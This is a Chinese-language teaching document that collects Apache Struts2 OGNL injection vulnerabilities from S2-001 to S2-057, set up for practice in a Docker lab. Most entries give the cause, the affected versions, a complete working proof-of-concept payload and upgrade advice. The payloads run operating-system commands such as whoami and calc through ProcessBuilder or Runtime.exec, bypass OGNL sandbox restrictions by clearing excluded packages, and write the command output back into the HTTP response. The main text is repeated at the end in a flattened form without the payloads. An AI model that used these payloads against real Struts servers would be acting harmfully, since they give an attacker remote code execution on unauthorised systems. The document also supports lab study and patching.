Struts2漏洞合集(一)
字数 2389 2025-08-14 12:04:09

Struts2漏洞合集(一) 教学文档

0x00 环境搭建

使用Docker环境进行漏洞复现:

  1. 下载靶场环境
  2. 进入靶场目录
  3. 编译环境:docker-compose build
  4. 启动环境:docker-compose up -d
  5. 访问靶机8080端口进行练习
  6. 关闭当前环境:docker-compose down -v

0x01 OGNL基础

OGNL (Object-Graph Navigation Language)是一种功能强大的表达式语言:

  • 三要素

    • 表达式(Expression):规定OGNL操作要执行的内容
    • 根对象(Root Object):操作的目标对象
    • 上下文环境(Context):操作执行的环境,Map结构(OgnlContext)
  • 触发途径

    • 修改StaticMethodAccess:_memberAccess["allowStaticMethodAccess"]=true
    • 创建ProcessBuilder对象执行命令

0x02 S2-001

原理:用户提交表单数据验证失败时,后端使用OGNL表达式%{value}解析参数值并重新填充到表单中。

影响版本:Struts 2.0.0 - 2.0.8

POC

%{
  #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
  #b=#a.getInputStream(),
  #c=new java.io.InputStreamReader(#b),
  #d=new java.io.BufferedReader(#c),
  #e=new char[50000],
  #d.read(#e),
  #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
  #f.getWriter().println(new java.lang.String(#e)),
  #f.getWriter().flush(),
  #f.getWriter().close()
}

修复建议:升级到Struts 2.0.9或XWork 2.0.4

0x03 S2-005

原理:通过unicode编码(\u0023)或8进制(\43)绕过安全限制,执行OGNL表达式。

影响版本:Struts 2.0.0-2.1.8.1

0x04 S2-007

原理:类型转换出错时进行错误的字符串拼接,导致OGNL语句执行。

影响版本:Struts 2.0.0 - 2.2.3

POC

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false"),
#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

修复建议:升级到Struts 2.2.3.1

0x05 S2-008

原理:Cookie拦截器错误配置可造成OGNL表达式执行。

影响版本:Struts 2.1.0 - 2.3.1

POC

/devmode.action?debug=command&expression=#context["xwork.MethodAccessor.denyMethodExecution"]=false,
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),
#f.setAccessible(true),#f.set(#_memberAccess,true),
#a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[50000],
#c.read(#d),
#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#genxor.println(#d),#genxor.flush(),#genxor.close()

修复建议:升级到Struts 2.3.18或更高版本

0x06 S2-009

原理:绕过ParametersInterceptor保护,将恶意表达式注入字符串变量。

影响版本:Struts 2.1.0 - 2.3.1.1

POC

/ajax/example5?age=1&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),
+%23_memberAccess[%22allowStaticMethodAccess%22]=true,
+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),
%23b=new+java.io.InputStreamReader(%23a),
%23c=new+java.io.BufferedReader(%23b),
%23d=new+char[51020],
%23c.read(%23d),
%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
%23kxlzx.println(%23d),
%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

修复建议:升级到Struts 2.3.1.2

0x07 S2-012

原理:重定向结果从堆栈中读取并使用注入的代码作为重定向参数,导致二次评估。

影响版本:Struts 2.1.0-2.3.13

POC

%25%7B#a=(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22whoami%22%7D)).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new%20java.io.InputStreamReader(#b),
#d=new%20java.io.BufferedReader(#c),
#e=new%20char%5B50000%5D,
#d.read(#e),
#f=#context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22),
#f.getWriter().println(new%20java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()%7D

修复建议:升级到Struts 2.3.14.3

0x08 S2-013/S2-014

原理<s:a><s:url>标签的includeParams属性设置为all时,会解析OGNL表达式。

影响版本:Struts 2.0.0-2.3.14

POC

?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D
%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20j
ava.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3
Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.Servlet
ActionContext%40getResponse().getWriter()%2C%23out.println('p%3D'%2Bnew%20java.lang.Stri
ng(%23d))%2C%23out.close()%7D

修复建议:升级到Struts 2.3.14.2/2.3.14.3

0x09 S2-032

原理:启用动态方法调用时,可传递恶意表达式执行任意代码。

影响版本:Struts 2.3.20-2.3.28(2.3.20.3和2.3.24.3除外)

POC

/index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c
%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()%2c
%23w%3d%23res.getWriter()%2c
%23s%3dnew+java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5b0%5d).getInputStream())%2c
%23str%3d%23s.hasNext()%3f%23s.next()%3a%23xx%2c
%23w.print(%23str)%2c
%23w.close()%2c1%3f%23xx%3a%23request.toString&cmd=whoami

修复建议:升级到Struts 2.3.20.3、2.3.24.3或2.3.28.1

0x0A S2-045

原理:Jakarta插件处理文件上传时,通过修改Content-Type头触发OGNL表达式执行。

影响版本:Struts 2.3.5-2.3.31, 2.5-2.5.10

POC

"%{(#xxx='multipart/formdata').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='"whoami"').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}"

修复建议:升级到Struts 2.3.32或2.5.10.1

0x0B S2-046

原理:通过恶意的Content-Disposition值或不合适的Content-Length头触发OGNL表达式执行。

影响版本:Struts 2.3.5-2.3.31, 2.5-2.5.10

POC

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].
addHeader('X-Test',1+99)}\x00b

修复建议:升级到Struts 2.3.32或2.5.10.1

0x0C S2-052

原理:REST插件解析XML文件时调用XStreamHandler进行反序列化,导致远程代码执行。

影响版本:Struts 2.5-2.5.12

漏洞利用

  1. 修改请求扩展名为.xml或Content-Type为application/xml
  2. 发送恶意XML payload

修复建议

  1. 升级到Struts 2.5.13
  2. 停止使用REST插件
  3. 限制服务端扩展类型:<constant name="struts.action.extension" value="xhtml,,json" />

0x0D S2-053

原理:处理Freemarker标签时使用不恰当的编码表达导致远程代码执行。

影响版本:Struts 2.0.1-2.3.33, 2.5-2.5.10

POC

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='calc').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}

修复建议

  1. 避免在Freemarker结构代码中使用可写属性
  2. 升级到Struts 2.5.12或2.3.34

0x0E S2-057

原理:当struts.mapper.alwaysSelectFullNamespace设置为true且namespace值缺失或使用通配符时,可控制namespace并带入OGNL执行。

影响版本:Struts 2.3-2.3.34, 2.5-2.5.16

POC

/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).
(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).
(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}/actionChain1.action

修复建议

  1. 升级到Struts 2.3.35或2.5.17
  2. 固定package和result的param标签的namespace值,禁止使用通配符

通用防护建议

  1. 及时升级Struts2到最新版本
  2. 禁用动态方法调用
  3. 限制可接受的参数名称
  4. 对用户输入进行严格过滤
  5. 生产环境关闭devMode模式
  6. 使用安全防护设备监控和拦截攻击流量
Struts2漏洞合集(一) 教学文档 0x00 环境搭建 使用Docker环境进行漏洞复现: 下载靶场环境 进入靶场目录 编译环境: docker-compose build 启动环境: docker-compose up -d 访问靶机8080端口进行练习 关闭当前环境: docker-compose down -v 0x01 OGNL基础 OGNL (Object-Graph Navigation Language)是一种功能强大的表达式语言: 三要素 : 表达式(Expression):规定OGNL操作要执行的内容 根对象(Root Object):操作的目标对象 上下文环境(Context):操作执行的环境,Map结构(OgnlContext) 触发途径 : 修改StaticMethodAccess: _memberAccess["allowStaticMethodAccess"]=true 创建ProcessBuilder对象执行命令 0x02 S2-001 原理 :用户提交表单数据验证失败时,后端使用OGNL表达式 %{value} 解析参数值并重新填充到表单中。 影响版本 :Struts 2.0.0 - 2.0.8 POC : 修复建议 :升级到Struts 2.0.9或XWork 2.0.4 0x03 S2-005 原理 :通过unicode编码( \u0023 )或8进制( \43 )绕过安全限制,执行OGNL表达式。 影响版本 :Struts 2.0.0-2.1.8.1 0x04 S2-007 原理 :类型转换出错时进行错误的字符串拼接,导致OGNL语句执行。 影响版本 :Struts 2.0.0 - 2.2.3 POC : 修复建议 :升级到Struts 2.2.3.1 0x05 S2-008 原理 :Cookie拦截器错误配置可造成OGNL表达式执行。 影响版本 :Struts 2.1.0 - 2.3.1 POC : 修复建议 :升级到Struts 2.3.18或更高版本 0x06 S2-009 原理 :绕过ParametersInterceptor保护,将恶意表达式注入字符串变量。 影响版本 :Struts 2.1.0 - 2.3.1.1 POC : 修复建议 :升级到Struts 2.3.1.2 0x07 S2-012 原理 :重定向结果从堆栈中读取并使用注入的代码作为重定向参数,导致二次评估。 影响版本 :Struts 2.1.0-2.3.13 POC : 修复建议 :升级到Struts 2.3.14.3 0x08 S2-013/S2-014 原理 : <s:a> 和 <s:url> 标签的includeParams属性设置为all时,会解析OGNL表达式。 影响版本 :Struts 2.0.0-2.3.14 POC : 修复建议 :升级到Struts 2.3.14.2/2.3.14.3 0x09 S2-032 原理 :启用动态方法调用时,可传递恶意表达式执行任意代码。 影响版本 :Struts 2.3.20-2.3.28(2.3.20.3和2.3.24.3除外) POC : 修复建议 :升级到Struts 2.3.20.3、2.3.24.3或2.3.28.1 0x0A S2-045 原理 :Jakarta插件处理文件上传时,通过修改Content-Type头触发OGNL表达式执行。 影响版本 :Struts 2.3.5-2.3.31, 2.5-2.5.10 POC : 修复建议 :升级到Struts 2.3.32或2.5.10.1 0x0B S2-046 原理 :通过恶意的Content-Disposition值或不合适的Content-Length头触发OGNL表达式执行。 影响版本 :Struts 2.3.5-2.3.31, 2.5-2.5.10 POC : 修复建议 :升级到Struts 2.3.32或2.5.10.1 0x0C S2-052 原理 :REST插件解析XML文件时调用XStreamHandler进行反序列化,导致远程代码执行。 影响版本 :Struts 2.5-2.5.12 漏洞利用 : 修改请求扩展名为.xml或Content-Type为application/xml 发送恶意XML payload 修复建议 : 升级到Struts 2.5.13 停止使用REST插件 限制服务端扩展类型: <constant name="struts.action.extension" value="xhtml,,json" /> 0x0D S2-053 原理 :处理Freemarker标签时使用不恰当的编码表达导致远程代码执行。 影响版本 :Struts 2.0.1-2.3.33, 2.5-2.5.10 POC : 修复建议 : 避免在Freemarker结构代码中使用可写属性 升级到Struts 2.5.12或2.3.34 0x0E S2-057 原理 :当 struts.mapper.alwaysSelectFullNamespace 设置为true且namespace值缺失或使用通配符时,可控制namespace并带入OGNL执行。 影响版本 :Struts 2.3-2.3.34, 2.5-2.5.16 POC : 修复建议 : 升级到Struts 2.3.35或2.5.17 固定package和result的param标签的namespace值,禁止使用通配符 通用防护建议 及时升级Struts2到最新版本 禁用动态方法调用 限制可接受的参数名称 对用户输入进行严格过滤 生产环境关闭devMode模式 使用安全防护设备监控和拦截攻击流量